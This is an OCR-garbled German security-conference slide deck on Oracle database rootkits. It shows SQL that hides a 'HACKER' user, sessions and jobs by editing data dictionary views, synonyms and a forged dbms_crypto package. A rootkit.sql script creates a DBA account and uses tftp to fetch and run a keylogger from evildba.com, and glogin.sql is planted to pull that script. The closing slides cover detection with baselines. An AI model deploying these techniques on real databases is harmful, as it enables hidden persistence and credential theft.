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EinfUhrung l.l

Betriebssysteme und Datenbanken sind in der
Architektur ziemlich ahnlich.

Beide besitzen

Benutzer

Prozesse

Jobs

Ausfihrbare Objekte
Symbolische Links

=» Eine Datenbank ist eine Art von Betriebssystem.
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Einfihrung

.-

OS Oracle SQL Server DB2 Postgres
cmd
ps select * from select * from list application select * from
veprocess sysprocesses pg_stat_activity
kill 1234 | alter system Kill SELECT @varl = spid force application
session '12,55' FROM sysprocesses (1234)
WHERE
nt_username='andrew’
AND
spid<>@@spidEXEC
(kill '+@varl);
Executa | View, Package, View, Stored View, Stored View, Stored
bles Procedures and Procedures Procedures Procedures
Functions
execute | select * from view; | select * from view; select * from view; select * from view;
exec procedure exec procedure execute procedure
cd alter session set
current_schema
=user01
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EinfUhrung l.l

Wenn eine Datenbank eine Art Betriebssystem
Ist, sollte es moglich sein, Betriebssystem
Malware (wie z.B. Rootkits und Viren) in die
Datenbankwelt zu migrieren.
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Einfihrung

= Die folgenden Beispiele sind mit Hilfe von
Oracle realisiert.
Es ist moglich dieses Konzept zu anderen
Datenbanken zu transferieren indem man

= Synonyme in Views/Aliase

s Packages/Prozeduren/Funktionen zu
Stored Procedures

= PL/SQL zu T/SQL / PL/pgSQL

ersetzt.
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OS Rootkit

= Definition Wikipedia:

Ein Rootkit ist eine Sammlung von
Softwarewerkzeugen, die nach dem
Einbruch in ein Computersystem auf
dem kompromittierten System installiert
wird, um zukunftige des
Eindringlings zu verbergen, Prozesse
zu verstecken und Daten
mitzuschneiden.
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http://de.wikipedia.org/wiki/Login

OS Rootkit ..l

= Was passiert, nachdem ein Hacker in einen
Server eingebrochen ist?

= Hacker entfernt seine Spuren.

= Angreifer installiert ein Betriebssystem
Rootkit.
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OS Rootkit

.-

= Ergebnis des who Kommandos mit und ohne

Installiertem Rootkit.

Ohne Rootkit

[root@picard root]# who
root pts/0 Apr 1 12:25
root pts/1 Apr 1 12:44
root pts/1 Apr 1 12:44
ora pts/3 Mar 30 15:01
hacker pts/3 Feb 16 15:01

Mit Rootkit

[root@picard root]# who

root pts/0 Apr 1 12:25
root pts/1 Apr 1 12:44
root pts/1 Apr 1 12:44
ora pts/3 Mar 30 15:01
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Datenbank Rootkits

= Implementierung eines Datenbank Rootkits

Oracle Execution Pfad
Datenbank Benutzer verstecken
Datenbank Prozesse verstecken
Datenbank Jobs verstecken

Modifizieren von internen Funktionen

Red-Database-Security €]5gle]gM Alexander Kornbrust, 01-Apr-2005 V1.07

10



Datenbank Rootkits l.l

= Wege ein (Datenbank) Rootkit zu
Implementieren

s Das (Datenbank) Objekt selbst andern
= Den Ausfuhrungspfad andern

= Das SQL Statement tber VPD andern
= PL/SQL Native
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Oracle Ausfuhrungspfad

Wie |0st Oracle Objektnamen auf?

Beispiel:
SQL> Select username from dba_ users;

Namensauflosung:

= Gibt es ein lokales Objekt im aktuellen
Schema (Tabelle, View, ...) namens
dba users? Wenn ja, verwende es.

= Gibt es ein privates Synonym namens
dba users? Wenn ja, verwende es.

= Gibt es ein Public Synonym namens
dba users? Wenn ja, verwende es.

=  Wird VPD verwendet? Wenn ja, modifiziere
das SQL Statement.
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Oracle Ausfuhrungspfad ..l

Der Ausfuhrungspfad kann geandert werden durch

= Erzeugung eines lokalen Objektes mit
Identischem Namen
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Oracle Ausfuhrungspfad =l

User 1 User n

[Functions][Procedures][Packages] [TablesJ [Func][Proc.J [Pack.J
Views | [Views J
[ Private Synonyms ] [ Private Synonyms ]
[ Public Synonyms J
SYS
[Views ]

[ Tables] [ Functions ] [ Procedures ] [ Packages ]

Virtual Private Database
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Oracle Ausfuhrungspfad ..l

Der Ausfuhrungspfad kann geandert werden durch

= Erzeugung eines lokalen Objektes mit identischem
Namen

= Erzeugung eines privaten Synonyms, das auf ein
anderes Objekt zeigt
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Oracle Ausfuhrungspfad =l

User 1 User n
[Functions][Procedures][Packages] [TablesJ [ Func][Proc.] [Pack.J
[Views ] [Views J
Private Synonyms | [ Private Synonyms ]
[ Public Synonyms J
SYS
[Views ]
[ Tables] [ Functions ] [ Procedures ] [ Packages ]
Virtual Private Database
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Oracle Ausfuhrungspfad ..l

Der Ausfuhrungspfad kann geandert werden durch

= Erzeugung eines lokalen Objektes mit identischem
Namen

= Erzeugung eines privaten Synonyms, das auf ein
anderes Objekt zeigt

= Erzeugung eines Public Synonyms, das auf ein
anderes Objekt zeigt.
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Oracle Ausfuhrungspfad =l

User 1 User n
[Functions][Procedures][Packages] [TablesJ [ Func][Proc.] [Pack.J
[Views ] [ Views J
[ Private Synonyms ] [ Private Synonyms ]

Public Synonyms

SYS

[ Views ]

[Tables] [ Functions ] [ Procedures ] [ Packages ]

Virtual Private Database
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Oracle Ausfuhrungspfad

Der Ausfuhrungspfad kann geandert werden durch

= Erzeugung eines lokalen Objektes mit identischem
Namen

= Erzeugung eines privaten Synonyms, das auf ein
anderes Objekt zeigt

= Erzeugung eines Public Synonyms, das auf ein
anderes Objekt zeigt.

= Wechsel In ein anderes Schema
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Oracle Ausfuhrungspfad =l

User 1 User n

[Functions][Procedures][Packages] [TablesJ [Func][Proc.J [Pack.J
[Views ] Views |
[ Private Synonyms ] [ Private Synonyms ]
[ Public Synonyms J
SYS
[Views ]

[ Tables] [ Functions ] [ Procedures ] [ Packages ]

Virtual Private Database
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Oracle Ausfuhrungspfad =l

User 1 User n

[Functions][Procedures][Packages] [TablesJ [ Func][Proc.] [Pack.J
[Views ] [Views J
[ Private Synonyms ] ( Private Synonyms
[ Public Synonyms J
SYS
[Views ]

[ Tables] [ Functions ] [ Procedures ] [ Packages ]

Virtual Private Database
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Datenbankbenutzer verstecken

Benutzerverwaltung in Oracle

= Benutzer und Rollen werden zusammen
in der Tabelle SYS.USER$ gespeichert

= Benutzer besitzen das Flag TYPE# =1
= Rollen besitzen das Flag TYPE# =0

= Die Views dba_users und all _users
vereinfachen den Zugriff

=  Synonyme fur dba users und all _users
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Datenbankbenutzer verstecken ..l

Beispiel: Erzeugung eins Datenbankbenutzers
namens Hacker

SQL> create user hacker 1dentified

by hacker;

SQL> grant dba to hacker;
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Datenbankbenutzer verstecken ..l

Beispiel: Anzeigen aller Datenbankbenutzer

SQL> select username from dba users;

USERNAME
SYS
SYSTEM
DBSNMP
SYSMAN
MGMT_VIEW
OUTLN
MDSYS
ORDSYS
EXFSYS
HACKER

L1
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Datenbankbenutzer verstecken ..l

Enterprise Manager (Java) Enterprise Manager (Web) Quest TOAD
Benutzernarme TN, e g ile |5‘1’5
ARCMYMOLS — |
CTASYS Datab 053 > U
DATS SCHEMA ARG B Tables I Wigws I Syrnonym
= Users . ;
DBSMMP Folicy Groups | Frofiles I
DIF Search Snapzhots I Rolez
DiMisYS Name | Resource Groups I Resource
E}.{FS'-.I.-'E Torun-an exact match zearch orto run a case sensiti -\.IEI"."EI I DE Links USE-'[S
FLOWS _FILES Results P
e = ' =
FLOWS. 010500 = 0O & = v §
| a |lzer
- i BI=N E}{: E .&.NDNTMDUS
HTMLDE PLUBLIC LSER Select UserName # Account § a CTHEYS
MAETEH_ g & ANDOMYMOUS EXPIRED
O |[CTESYS EXFIRED DATA_SCHEMA
MODATA C DATA_SCHEMA COPEN DESMHMP
MDSY'S € DESNMP OPEN & DIP
MGMT_"-.”EW . DIE E¥PIRED E OMSYS
mMOBILEAD MM O DMSYS EXPIRED
QOLAPSYS ' E¥FEYS EXFPIRED i EXFSYS
ORDPLUGING ¢ FLOWS 010500 LOCKED % FLOW5_010500
ORDSYS € FLOWS FILES LOCKED q FLOWS_FILES
QLTLM S .m
PUBLIC © HIMLDBALEX OPERM HTMLDBALE
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Datenbankbenutzer verstecken ]

.. DBA_USERS ¥iew Info ]

Schema: |SYS j
Mame: |DE&_LSERS

Source I Yiew Infa I Carmments I

W alidate Ouerny | Format Querny |

=10l x|

Zusatzliche Zeile an die

zelect u.name. u. userf. u. password.
m.s=tatus,
decodeiu. astatus, 4, u, ltime,

E. u:ltime,

B, u.ltime,

8, u.ltine,

9, u. ltinme,

10, u.ltine, to date(HULL)).

decode{u. astatus,

u.sexptine,

2, u.exptime,
5., n.exptime.
6, u.exptime.
9, u.exptime.

10, u.exptime.

decode{u. ptine, '', to_dats(NULL).
decodei{pr. limit#, 2147483647, to date(HULL).
decodei{pr limit#. 0.

dp. limit#-864007,
u.ptime + pr.limit#- 864003305,
dts . name, tts. name. u.ctime, p.nans.
nvli{cgn. consumner group. 'DEFAULT CONSUMER GROUP' ).
u.ext_ussrhans
from =y=. user$ u left outer join =y=. resource group mapplngd cgm
on (cgm.attribute = 'ORACLE USER' and cgm.status = 'ACTIVE'
cagm,valus = uw.nams),
=y=. t=f dts, sys. t=5 tts, sys.profnaned p.
sys.user_astatus _map m, sys.profile$ pr. sys.profileg
where u.datatst = dts. tsd
and u.resource$ = p.profiled
and u.temnptsd = tt=. taf
and u.astatus = m.statusd
and u.typed = 1
and u.resource$ = pr.profilef
and dp profiled =
and dp. type#=1
and dp.rescurcei=1
and pr.typed = 1
and sourced =
AND T HAME 1= 'HACEER' —— added b rntroeder

decodei{dp. lamitd#, 2147483647, to date(NULL), u.ptime +

View anhangen

Show 5L | ok | Cancel |
|sys@ORATOGS | 4
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Datenbankbenutzer verstecken

Enterprise Manager (Java) Enterprise Manager (Web) Quest TOAD
Database: orallgl = Users |5‘T'5
Users |
Search
Benutzername . | Tablez I Wigs I Synonym
ARIORYMOLIS . amem " o _ Folicy Groups I Profiles |
I::-D{ETE O FUN an exXact match Search ar 10 Fun 8 case Sens| 5nap3hnt3 I Fh:lleg
Results Resource Groups I Rezource
DATA SCHEMA, s I DB Links Users
DESHNMP = e
Filk = v o
Bl T
Select/UserName / Account & |lzer
D3's & ANONYMOUS EXPIRED & ANONYMOUS
EXFSYS CcTYSYS E¥PIRED i CT=5Y5
FLOWS FILES " DATA_SCHEMA OPEM DATA SCHE M,
FLOWWS 040500 ' DBSHMP OPEM DESHMP
= C oP EXPIRED & DIP
HTMLDEALEX C  DMSYS EXPIRED & DMSYS
HTMLDE_FPLUEBLIC_USER € EXFSYS EXPIRED & EXFSYS
MASTER  FLOWS 010500 LOCKED % FLOWS 010500
O FLOWS FILES LOCKED B FLOwS FILES
MDDATA € HTMLDBALEX OPEN
MDSYS C  HIMLDB_PUBLIC_USER OPEM
HTMLDBALE
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Datenbankbenutzer verstecken ..l

TOAD benutzt die View ALL_USERS anstatt der
DBA_ USERS. Deshalb ist der Benutzer HACKER immer

noch sichtbar.
. BLL_USERS Yiew Info ) =10] x|

Schema: | 575 ;l
Mame: [|ALL_LSERS

Source | Wiew |nfo I Comments I

Walidate Cuerny | Format Cluerny |

ze2lect u . name., u. userf. u.ctime
from =v= users u, =yv=.t=5% dts, =vs. t=5% tts
where u.datat=s# = dt=. t=#
and u.tempt=# = tt=. t=#
d u tvpel = 1
AHD T _HAME I= 'HACKEEhJ ——FFFeT & Infruder
Show 5L | 0K Cancel
SYS@ORAT0GE | .
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Datenbankbenutzer verstecken

Nun ist der Benutzer auch in TOAD verschwunden...

BE -]

ix

Folicy Groups | Frafiles I Falicies | Rollback Segments I T ablespaces I Libranies
Snhapzhotz I Raoles I Favarites I Snapzhot Logs I Dimenzions
Resource Groups I Rezource Plans I Sys Prive I Clizters I Refrezh Gmupsl Recucle Bin
Tablez I Wigis I E_I,Inunymsl Procs I Triggersl Inde:-:esl Ennstraintsl Sequences
Java I DE Links Users | Jobs I Tvpes I Queue Tal:llesl E!ueuesi Cirectanes

FEERE R RS

& |]ger |

& ANOMNYMOUS

& CTxsvs
DATA_SCHEMA
DESHMP

& DIF

& DMsYS

& EXFsYs

&y FLOWS_010500

&y FLOWS_FILES
HTMLDBALEX
HTMLDE_PUBLIC_USER
MASTER
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Datenbankbenutzer verstecken =l

select * from dba users; (z.B. als Benutzer SYSTEM)

User 1 User n
[Functions][Procedures] Packages] [Tables] [ Func.J[Proc.] | |

[Views ] [Views ]
[ Private Synonyms ] [ Private Synonyms ]
[ Public Synonyms J
— /

(Views | and u.name 1= “HACKER”

[ Tables [ Functions ] [ Procedures ] [ Packages ]
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Datenbankbenutzer verstecken — Alternative 1

.-

Erzeugen einer lokalen View SYSTEM.ALL_ USERS,
die auf die original View SYS.ALL USERS zugreift

_ALL_USERS ¥Wiew Info

Schema: |STSTEM
J4LL_USERS

=

I arne:;

Source I Wiew Info I Cormrments I

alidate Cluery I Format Euery I

_ ol x|

==lect "USERHAME" . "USER_ID" | "CREATED"
from =v=.all_u=ssers=s
wherse uszername |= 'HACKHER'

(0]

Showe SEIL |

Cancel

| SYSTEM@ORATOI0Y
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Select * from

Datenbankbenutzer verstecken — Alternative 1

Il _users;

.-

(z.B. als Benutzer SYSTEM)
User n

unctions ] [ Procedures] [ Packages]

[[ Views

Create View all users..
[ )
[

Private Synonyms ] [

". Public Synonyms
SYS 3

J
[ Tables ]

[Tame[SJ | FUT][proc] i

Private Synonyms

Red-Database-Security GmbH

Alexander Kornbrust, 01-Apr-2005

[ Functions ] [ Procedures ] [ Packages ]

V1.07 32



Datenbankbenutzer verstecken — Alternative 2 ..l

1. Erzeugen einer neuen View SYSTEM.ALL _USERS2

- ALL_USERSZ Yiew I

Schema: |STSTEM =l

M arne: |ALL_|_|SEF=52

Source I View Info I Cormments I

Walidate Huery | Format Clueny |

_1ol x|

s=lect "USERNAME" | "TUSEER_ID" . "CREATED"

from SYS5S. all_ u=ers
where u=zername |= 'HACEER'

Show SOL | Ok

Cancel

|SYSTEM@ORATOT04

2. Erzeugen eines privaten Synonyms

SYSTEM.ALL_USERS;

CEEATE SYNONYM S¥YSTEM. ALL USERS FOR SYSTEM . ALL USERSZ
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Datenbankbenutzer verstecken — Alternative 2 =l

Select * from all _users; (z.B. als Benutzer SYSTEM)

User 1 User n
[Functions] Procedures][Packages\ [Tables] [ Func.][Proc.] | | |
[Views ] /[ Views | [Views ]

[[ Private Synonyms .."‘ | [ Private Synonyms ]
[ .."quinc Synonyms J
SYS .

v

0”

[ Tables]‘ [ Functions ] [ Procedures ] [ Packages ]
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Datenbankbenutzer verstecken — Alternative 3 ..l

1. Erzeugen einer neuen View SYSTEM.ALL _USERS2

- ALL_USERSZ Yiew I

Schema: |STSTEM =l

M arne: |ALL_|_|SEF=52

Source I View Info I Cormments I

Walidate Huery | Format Clueny |

_1ol x|

s=lect "USERNAME" | "TUSEER_ID" . "CREATED"

from SYS5S. all_ u=ers
where u=zername |= 'HACEER'

Show SOL | Ok

Cancel

|SYSTEM@ORATOT04

2. Erzeugen eines Public Synonyms

SYSTEM.ALL_USERS

CEEATE PUELIC SYHOHYM ALL_USERS FOR SYSTEM . ALL USERSE
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Datenbankbenutzer verstecken — Alternative 3 =l

Select * from all _users; (z.B. als Benutzer SYSTEM)

User 1 User n
[Functions] Procedures][Packages] [Tables] [ Func.][Proc.] (Raekj
[Views ] [ Views ]
[ Private Synonyms ] [ Private Synonyms ]
.

SYS

*
. L 2
V|ew§ ¢
’0

[ Tables ]"

[ Functions ] [ Procedures ] [ Packages ]
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Datenbankbenutzer verstecken — Alternative 4 I.l

1. Erzeugen einer View in einem unterschiedlichen
Schema (z.B. im Schema Hacker)
I [=TE

Schema: |HACKER =l
Mame: [4LL_USERS

Source I Wigw [nfo I Comments I

“Yalidate Qluerny | Format Cluery |

s=lect "USERHAME" , "USEERE_ID" |, "CREATED"
from SYS5S. all_u=sers=s
wherse usernamse |= '"HACEER'

Showe SCIL | (0] I Cancel |

|SYSTEM@EORATOT04 | S

2. Wechsel in das Schema, das das modifizierte Object
enthalt (z.B. vialogon trigger)

alter =esz=zion =t current schema=HACKEEER:
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Datenbankbenutzer verstecken — Alternative 4

Select * from all _users; (z.B. als Benutzer SYSTEM)

"

User 1

User

[ Functions ] [ Procedures] [ Packag

n

[ Views

| |

Private Synonyms ]

SYS

[ Tables ]A“

[ Functions ] [ Procedures ] [ Packages ]

REd-Database-SeCUI‘ity €]5gle]gM Alexander Kornbrust, 01-Apr-2005
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Prozesse verstecken ..l

Prozessmanagement in Oracle

= Prozesse sind in einer speziellen View
v$session die im Schema SYS liegt
gespeichert

=  Public Synonym v$session verweist auf
v_$session

= Die View v_$session dient zum Zugriff
auf vdsession
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Prozesse verstecken

Beispiel: Anzeigen aller Datenbankprozesse

SQL> select sid, serial#, program from v$session;

SID SERIAL# PROGRAM

297 11337 OMS

298 23019 OMS

300 35 OMS

301 4 OMS

304 1739 OMS

305 29265 sqglplus.exe
306 2186 OMS

307 30 emagent@picard.rds (TNS V1
308 69 OMS

310 5611 OMS

311 49 OMS

[---]
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Prozesse verstecken ..l

Verandern der Views (v$session, gv_$session, flow_sessions,
v_$process) durch Anhangen von

username 1= *HACKER*®

_ ¥ $5ESSIDN Yiew Info

o ] 4| .. '¥_$PROCESS Yiew Infa | B ] |

Schema: ISYS LI Schema: |5TE' LI

Mame: [V_$SESSION Mame:  [V_SPROCESS

Source |‘-p"iew Info | Comments | s |Vie""|”f°| Comments |

Validate Query | Format Query | Validate Query | Format Query |
select "ADDR". "PID". "SPID" . "USERNAME", "SERIAT#". "TERMINAL", "PROGREAM"
= " CEERTALE" CAUDSIR®  "FAODE" . "USERE" " fwhers username [= "HACKER,
here usernams | = 'HACKER'

[« | i ol | i
Show SEL | oK I

Cancel | Shaw SOL |

oK I Cancel |
|Srs@ORAI003 | 4| |lsvs@0ORatosz | 4
.. GY_$5ESSION View Info. 1 oy =] A . FLOW_SESSIONS View Info 1 oy ] 4|
Schema: ISYE- j Schema: |5YE. ;I
Mame:  |GY_$SESSION Mame:  [FLOW_SESSIONS
Source I\fiewlnfol Comments | Source |View|nfo| Comments |
alidate Query | Format Query | ‘Yalidate Cuery | Format Query |
select "INST_ID","SADDR","SID", "SERIAL#", "AUDSID", "FPADDR"."USER#" "W select "SADDR", "SID", "SERIAL#", "AUDSID", "PADDR", "USER#", "USERNAME", "
from g Ession fr visession
where USERNAME | ='HACKER (wﬁere username |= 'HACKER' )
K JL2 || 1 i
Show SOL | o | cemcel | Show 5L | ok | cencel |
|5rs@ORATDGS | | |lsrs@oRatoss |

Y
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Datenbankjobs verstecken ..l

Database Jobs in Oracle

= Jobs werden in der Tabelle SYS.JOB$
gespeichert

= View dba_jobs um den Zugriff zu
vereinfachen

=  Synonym fur dba_jobs
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Datenbankjobs verstecken ..l

Beispiel: Anlegen eines Datenbankjobs, der um
Mitternacht gestartet wird

X
Job Mumberd|dentifier = S

First execution: v Long date format At this time:
| Freitag . 1. Apil 2005 | |1zog2z = Cancel

Subzequent executions:
IEver_I,I day at midright j

ITHUNEETSDﬂTE+H
What to execute % Parze (& Mo Parse _I

declare

Ok

nydate date;
begin
ze=lect sy=date into mydate from dual:

end ;

|HACKER@ORATON04 | y
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Datenbankjobs verstecken ..l

Anzeigen aller Jobs in der View dba_jobs

7 JOB |LOG_USER |PRIV_USER |SCHEMA_USER |LAST_DATE |LAST_SEC |THIS_DATE |THIS_SEC |
v BN s s WKSYS 29.03.2005 15:23:05 15:23.05

7.8v8 WRSYS WSS 28.03.2005 21:00:03  21:00:03

31 SYSTEM  SYSTEM SYSTEM 79032005 20:47-38  20:47:38

10 SvShar  SYSMAN  SYSMAN 78032005 2110063 21:10:53

B0 HACKER  HACKER HACKER:
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Datenbankjobs verstecken ..l

Hinzuflgen einer zusatzlichen Zeile zur View

_ DBA_JOBS ¥iew Info : L - 0] x|
Schema; |55
Mame: [DBA_JOBS

Source I Wiew Info I Camments I

thmeuuewl Format Clueny |

s=lect JOB. lowner LOG_TUSEE. powner PEIV_TUSER. cowner SCHEMA TUSER.

LAST DATE., =substri{to_char(la=st_date., 'HHZ24 :HI:SS5').1.8) LAST SEC.
THIS_DATE., =substr{to_char{thi=z date, 'HHZ24:MI:S5').1.8) THIS SEC.
NEXT DATE., substr(to_char(next_date, 'HHZ24 MI:S5').1.8) HEXT _SEC,
(total+({=v=date-nvli{thi=z date. sy=date)) )=806400 TOTAL TIME,
decode(mod (FLAG, 23,1, 'Y, 0, 'H","?" ) BREOKEN,
INTERVALY interval. FAILURES, WHAT,
nl=zenv HLS ENV, env MISC_EHY. 37 . fieldl INSTANCE

from =v=.job% 3

@Ere powher | = 'HACI{ER-']

Show S0OL | Qk.

Cancel

|SYSTEM@ORATOT04 |
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Datenbankjobs verstecken ..l

Nun ist der Datenbankjob nicht mehr sichtbar.

&7 JOB |LOG_USER |PRIV_USER |SCHEMA_USER |LAST _DATE LAST_SEC |THIS_DATE |THIS_SEC |
Il : 2 EE WKSYS 29.03.2005 15:23:05  15:23.05

7 8YS WKSYS WKSYS 28.03.2005 21:00:03  21:00:03

31 8YSTEM  SYSTEM SYSTEM 28.03.2005 20:47:38  20:47:38

10 SYSMAN  SYSMAN SYSMAN 28.03.2005 21:16:18  21:16:18
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PL/SQL Packages verandern

Die Veranderung von PL/SQL-Packages ist
etwas komplizierter

= Packages die im PLSQL-Quellcode
vorliegen sind sehr einfach zu
verandern. Einfach den eigenen
PL/SQL-Sourcecode hinzufigen.

= Die meisten internen Packages von
Oracle sind gewrapped (=obfuscated)
und dadurch gegen Modifikationen
geschutzt.
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PL/SQL Packages verandern

Das folgende Beispiel zeigt, wie man die interne
Oracle MD5 Funktion modifiziert

= Berechne die md5 Checksumme von
Quellcodezeilen (Hier: Eine Zeile der View

dba users)
= Ausfuhrungspfad der MD5-Funktion verandern

= Aufruf der veranderten MD5-Funktion
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PL/SQL Packages verandern

Berechnung der MD5-Checksumme mit dbms_crypto

declare
code_source clob;
md5hash varchar2(32);
begin
code_source := "and pr.resource# = 1%;
md5hash := rawtohex(dbms crypto.hash(typ =>
dbms crypto.HASH MD5, src => code_source));
dbms output.put line("MD5="| |md5hash);
end;
/

MD5=08590BBCA18F6A84052F6670377E28E4
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PL/SQL Packages verandern

Anderung des Ausfiithrungspfades durch das Erzeugen
eines lokalen Packages namens dbms_crypto mit der
selben Spezifikation wie dboms_crypto

[.]
FUNCTION Hash (src IN CLOB CHARACTER SET ANY_CS,typ IN

PLS_INTEGER)

RETURN RAW
AS

buffer varchar2(60);
BEGIN

buffer := src;

IF (buffer="and pr.resource# = 1 and u.name I=
““HACKER““; ")

THEN
RETURN(SYS.dbms_crypto.hash(“and pr.resource# =

1°,typ));

END IF;

RETURN(SYS.dbms crypto.hash(src,typ));
END;

[-]
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PL/SQL Packages verandern

Berechnung der MD5-Checksumme mit dem
modifizierten dbms_crypto-Package

declare
code _source clob;
md5hash varchar2(32);
begin
code _source = T"and pr.resource# = 1 and u.name !=
““HACKER* “; " ;
md5hash := rawtohex(dbms crypto.hash(typ =>
dbms_crypto.HASH MD5, src => code source));
dbms_output.put_line("MD5="] |md5hash);
end;
/

Liefert eine falsche MD5 Checksumme zuriick:
MD5=08590BBCA18F6A84052F6670377E28E4
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Rootkits installieren ..l

Es gibt viele Wege ein Rootkit in einer Oracle
Datenbank zu installieren

= Default Passworte (z.B. system/manager)
= TNS Listener Exploits (z.B. set logfile .rhosts)
= Betriebssystem Exploits

= Viele viele mehr...
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Rootkits installieren via glogin.sql

Das folgende Beispiel zeigt, wie man ein Datenbank
Rootkit in viele Datenbank installieren kann.

Es ist nicht notwendig, das Oracle Passwort zu
kennen.

glogin.sqgl /login.sqgl ist ein SQL*Plus-Feature und
kann in SQL*Plus 10g nicht deaktiviert werden

Red-Database-Security €]51le]g® Alexander Kornbrust, 01-Apr-2005 V1.07 53



Rootkits installieren via glogin.sql

DBA Client PC

C:\> sqlplus system/pw@db1

REd-Database-SeCUI‘ity GmbH Alexander Kornbrust, 01-Apr-2005

Oracle DB1

Oracle DB2

Oracle DB3

Oracle DBn

V1.07
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Rootkits installieren via glogin.sql

DBA Client PC
C:\> sqlplus system/pw@db1

SQL> select * from
dba users;

REd-Database-SeCUI‘ity GmbH Alexander Kornbrust, 01-Apr-2005

Oracle DB1

Oracle DB2

Oracle DB3

Oracle DBn

V1.07
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Rootkits installieren via glogin.sql

DBA Client PC

glogin.sql

@http://www.evildba.com/rootkit.sql
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Rootkits installieren via glogin.sql

DBA Client PC

C:\> sqglplus system/pw@db1

glogin.sql

@http://www.evildba.com/rootkit.sql
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Rootkits installieren via glogin.sql

www . evi ldba.com

rootkit.sql

create user hacker ..

DBA Client PC

C:\> sqglplus system/pw@db1

glogin.sql

@http://www.evildba.com/rootkit.sql

Red-Database-SeCUI‘ity GmbH Alexander Kornbrust, 01-Apr-2005
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Rootkits installieren via glogin.sql

www . evi ldba.com

rootkit.sql

create user hacker ..

Create use

DBA Client PC

C:\> sqglplus system/pw@db1

glogin.sql

@http://www.evildba.com/rootkit.sql

Red-Database-SeCUI‘ity GmbH Alexander Kornbrust, 01-Apr-2005
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Rootkits installieren via glogin.sql =l

www . evi ldba.com

rootkit.sql Oracle DB1
|_rootkit |
create user hacker ..
Oracle DB2

DBA Client PC Oracle DB3
C:\> sqglplus system/pw@db1
SQL> select * from
dba users;
glogin.sql Oracle DBn
@http://www.evildba.com/rootkit.sql
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Rootkits installieren via glogin.sql =l

www . evi ldba.com

rootkit.sql Oracle DB1
|_rootkit |
create user hacker ..
X Oracle DB2
|_rootkit |
DBA Client PC Oracle DB3
C:\> sqglplus system/pw@db?2
glogin.sql Oracle DBn
@http://www.evildba.com/rootkit.sql
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Rootkits installieren via glogin.sql =l

www . evi ldba.com

rootkit.sql Oracle DB1
|_rootkit |
create user hacker ..
X Oracle DB2
|_rootkit |
DBA Client PC Oracle DB3
|__rootkit |
C:\> sqglplus system/pw@db3
glogin.sql Oracle DBn
@http://www.evildba.com/rootkit.sql
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Rootkits installieren via glogin.sql =l

www . evi ldba.com

rootkit.sql Oracle DB1
|_rootkit |
create user hacker ..
X Oracle DB2
|_rootkit |
DBA Client PC Oracle DB3
|__rootkit |
C:\> sqglplus system/pw@dbn
glogin.sql Oracle DBn
@http://www.evildba.com/rootkit.sql _
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Rootkits installieren via glogin.sql =l

1. Erzeugen einer Textdatel rootkit.sql, die die
modifizierten Datenbankobjekte enthéalt (z.B. dba_users)

#HitHH#HH AR rootkit. sql #HHHHHH AR HHH AR

set term off
create user hacker identified by my!hacker;
grant dba to hacker;

CREATE OR REPLACE VIEW SYS.DBA_USERS(
L]

and u.name !'= hacker;

host tftp -1 evildba.com GET keylogger.exe keylogger.exe
host keylogger.exe

set term on

Hit#HH#HHHHHR rootkit. sql #HHuAHHHHHHHHHHHH R
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Rootkits installieren via glogin.sql =l

2. Upload der Textdatei rootkit.sgl auf einen Webserver,
z.B. http://www.evildba.com/rootkit.sql

3. Einflugen des HTTP-Aufrufs in die glogin.sql oder
die login.sqgl Datei des DBA Clients (z.B. Uber ein
Internet Explorer Exploit oder Uber eine
Linux/Windows Bootdisk)

#iHHAR AR glogin.sql HAHHHHH AT HHH R

@http://www.evildba.com/rootkit.sql

#HitH#HHH AR rootkit. sql #HHAHHHHHHHHHHHHHHHHHT
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Rootkits installieren via glogin.sql =l

4. Das nachste Mal wenn sich der DBA auf der
Datenbank einloggt, passiert folgendes im Hintergrund:

= rootkit.sgl wird von heruntergeladen
= rootkit.sgl wird ausgefuhrt

= Terminalausgabe deaktivieren

= Einen Benutzer Hacker anlegen

= Data Dictionary Objekte verandern

= Keylogger.exe herunterladen

= Keylogger.exe ausfuhren

= Terminalausgabe aktivieren

=  SQL-Prompt anzeigen
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http://www.evildba.com/

Updates und Patches Uberleben =l

Wahrend des Datenbankupdates wird das

Repository sehr oft komplett neu aufgebaut. Dies
entfernt normalerweise alle Anderungen im Data
Dictionary wie z.B. veranderte Systemviews (z.B.

DBA_USERS).

Um dies zu vermeiden, konnte ein Hacker

= Einen speziellen Datenbankjob erzeugen, der
das Rootkit nach einem Update erneut installiert.

= Andern der glogin.sql auf dem Datenbankserver

= Database Logon trigger
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Rootkits entdecken =l

Um Anderungen in einem Repository zu entdecken
ISt es notwendig, dass

Generieren einer Baseline des Repositories
Vergleich des Repositories mit der Baseline

Uberprifen der Ergebnisse dieses Vergleichs

Checksummen mussen extern berechnet
werden, da die interne MD5-Checksumme
modifiziert werden kann.
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Rootkits entdecken ..l

Repscan fur Oracle

= Data Dictionary auslesen

= Baseline dieses Data Dictionary erzeugen

= Vergleich des Data Dictionary mit einer Baseline

= Anderungen im Ausfuhrungspfad entdecken

= Uberprifung unsicherer Datenbankeinstellungen
Verwendung

= generate.cmd

= check.cmd

= Handbuch: repscan.txt
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Rootkits entdecken ..l

MDS-checksum report Report gzenerated by RepScan
Created:Fri Apr 01 11:10:1= 2005

Used Parameters

|Parameter |  Value | MDS

|dbinfolist | databasesxml |b3a54451362a36469 5461 5f:33c64928
|dbchecklist |exec.xml |40c2d37 dboabfasd18331 bl6aTTeds34
|au:tiu:un |chec1=:

| signatures | signaturest
reportfile  |scanreportml |37d8b8e51495M003db31 52534606073
|rule sonly | Na

Scanned databases

|Datn]]ase MName | signature | Result
|nrall]1l]3 |signature shoral0103_ sig csv |faj_'[ed uﬂ
|nr'39l]2l]ﬁ |signature shoraP0206 _siz.csv [passed L“

Modified items in oral0103

|Mnd.i.ﬁ1:aﬁnn type | Owner | Type | Name | new MDS-checksum
ladded [SYSTEM [SYNONYM DEA_USERS Pdiat?aeabofifdl20asdiZd6] effa3f
imodified Y3 VIEW  |DBA_USERS b00cOfIZcTd251 dabSef0fT040c92a1
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Folgerungen =l

Modifikationen von Metadaten ist ein allgemeines
Problem, da es keine zusatzliche Sicherheitsschicht
Innerhalb des Repositories gibt (z.B. Views
schitzen).

Es betrifft alle Repository basierten Systeme.

= Datenbanken (z.B. Oracle, DB2, MS SQL,
Postgres, ...)

= Repository basierte Software (z.B. Siebel, ...)

=  Selbstentwickelte Software mit eigenem
Benutzermanagement (z.B. Webanwendungen)

= 3rd-Party Software fur Datenbanken ist ebenso
betroffen (z.B. Administration Tools, Vulnerability
Scanner, ...)
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Folgerungen

